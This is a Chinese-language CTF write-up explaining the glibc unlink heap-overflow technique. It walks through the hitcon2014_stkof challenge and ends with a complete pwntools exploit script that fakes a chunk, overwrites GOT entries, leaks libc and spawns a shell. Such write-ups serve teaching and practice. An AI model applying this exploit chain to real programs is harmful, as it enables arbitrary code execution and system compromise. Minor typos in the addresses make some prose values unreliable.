Unlink详解
Ulink是什么
unlink实际上是libc上定义的一个宏,源码如下
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
但是重要的不是他的源码,而是它在堆溢出中有什么利用
堆的基础知识
large free chunk结构
可以看到一个large free chunk 不包括data的话,最小的大小为
size=p64(pre_size)+p64(size)+p64(fd)+p64(bk)+p64(fd_next)+p64(bk_next)=0x30
这会为我们伪造一个free chunk提供条件(在后面会用到)
chunk合并
我们先来回顾一下堆方面的基础知识,我们知道,当我们free一个大小超过0x90的chunk时,会检查这个chunk物理意义上相邻的前一个chunk是否是空闲状态,如果是,两个chunk会合并成一个大的chunk来合理利用空间。
我们来看示例
申请3个0x80的空间后释放
接着用gdb bin 指令以及heap指令查看
可以看到三个空闲chunk彼此连接的,其中fd指针指向上一个chunk的地址,bk指针指向下一个chunk的地址
unlink的过程
过程
在hollk师傅的文章中,unlink被通俗易懂的理解为,从三个相互连接的chunk中摘取掉中间的chunk
那么在摘取之后会发生什么呢?
这是没摘取前三个chunk中的联系
当摘取了second_chunk后为了连接first_chunk和third_chunk
fd3会被fd取代,bk1会被bk2取代。
漏洞利用
想象一下,当second_chunk是我们伪造的,fd2,bk2伪造成我们想要写入数据,而first_chunk和third_chunk设置成我们想要写入的地址,是不是可以实现地址任意写,接下来我们通过实际的题目来理解
unlink检查
在我们用的大多数linux都会对chunk状态进行检查,以免造成二次释放或者二次申请的问题。
检查1:检查与被释放chunk相邻高地址的chunk的prevsize的值是否等于被释放chunk的size大小
当一个chunk是空闲的时候相邻高地址的pre_size域为该chunk的大小
检查2:检查与被释放chunk相邻高地址的chunk的size的P标志位是否为0
检查3:检查前后被释放chunk的fd和bk
hitcon2014_stkof
sub_400936
这个函数就是创建chunk,并把地址放在dword_602100
sub_4009E8
这个函数可以对chunk进行编辑,同时没有对字符进行限制,存在堆溢出
sub_400B07
这个函数就是简单的free函数
思路
首先先建立三个chunk,分别为
chunk1=0x1804010
chunk2=0x1804460
chunk3=0x18044a0
发现有两个chunk是相邻的,因为编辑函数存在堆溢出,可以覆盖下一个chunk的pre_size,size域
这个地址存着chunk的地址
即head=0x602140
编辑函数就是利用这里的地址进行操作的,假设我们可以把这里的地址改成别的地址,那么我们就可以利用编辑函数堆这个地址进行操作
那么怎么改呢?我们就可以利用unlink进行地址任意写
伪造second_chunk
在前面我们知道,unlink利用中最重要的就是second_chunk,但是这里并没有我们可以利用的chunk,那么我们考虑在chunk2的data域伪造一个free_chunk
这是前面提到的,那么我们伪造的second_chunk大小最小为0x30
那么基本结构就是
fake=second_chunk+p64(0x30)+p64(0x90)
这里的p64(0x30)是下一个chunk的pre_size域,p64(0x90)是下一个chunk的大小,目的是为了触发unlink和绕过检查(只有一个大于0x80的chunk释放时才会触发unlink)
那么接下来就是对second_chunk的具体伪造
我们知道伪造的chunk时second_chunk,那么first_chunk的bk指针就应该是chunk2的数据域
即0x1804460+0x10=0x1804470
third_chunk的fd指针也是0x1804460+0x10=0x180447
我们发现,如果把0x602138作为一个chunk的话,那么这个chunk的fd指针刚好满足上面的要求,
把0x602140作为一个chunk的话,fd指针也刚好满足要求
所以first_chunk=0x602138,third_chunk=0x602140
那么second_chunk为
second_chunk=p64(0)+p64(0x30)+p64(0x602138)+p64(0x602140)+p64(0x30)+p64(90)
因为second_chunk的pre_size域不影响,所以置0即可
触发unlink,实现任意写
pwndbg> x/30gx 0x602140
0x602140: 0x0000000000000000 0x0000000001804010
0x602150: 0x0000000000602038 0x0000000000000000
0x602160: 0x00000000020f8530 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
可以看到chunk2的地址已被覆盖
泄露基地址
因为chunk已杯覆盖成0x602038
那么我们可以通过编辑函数进行操作
payload=p64(0)*2+p64(free_got)+p64(puts_got)
fill(2,payload)
把chunk1和chunk2的地址覆盖成free函数和puts函数
此时我们调用free(2)时便可泄露基地址
getshell
接着我们使用编辑函数,把free函数got写成system
最后创建一个chunk存放/bin/sh后释放,getshell
完整的exp
from pwn import *
p = process('./stkof')
#p=remote("node5.buuoj.cn",'28668')
p=process('./stkof')
#context.log_level = 'debug'
#gdb.attach(p)
elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
def alloc(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil("OK")
def fill(idx,content):
p.sendline(str(2))
p.sendline(str(idx))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil("OK")
def free(idx):
p.sendline(str(3))
p.sendline(str(idx))
alloc(0x30)
alloc(0x30)
alloc(0x80)
alloc(0x30)
fake=p64(0)+p64(0x30)+p64(0x602138)+p64(0x602140)+b'a'*0x10+p64(0x30)+p64(0x90)
fill(2,fake)
free(3)
payload=p64(0)*2+p64(free_got)+p64(puts_got)
fill(2,payload)
payload=p64(puts_plt)
fill(1,payload)
free(2)
real=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(real))
base=real-0x6f690
system=base+0x45390
fill(1,p64(system))
fill(4,b'/bin/sh\x00')
free(4)
p.interactive()
#pause()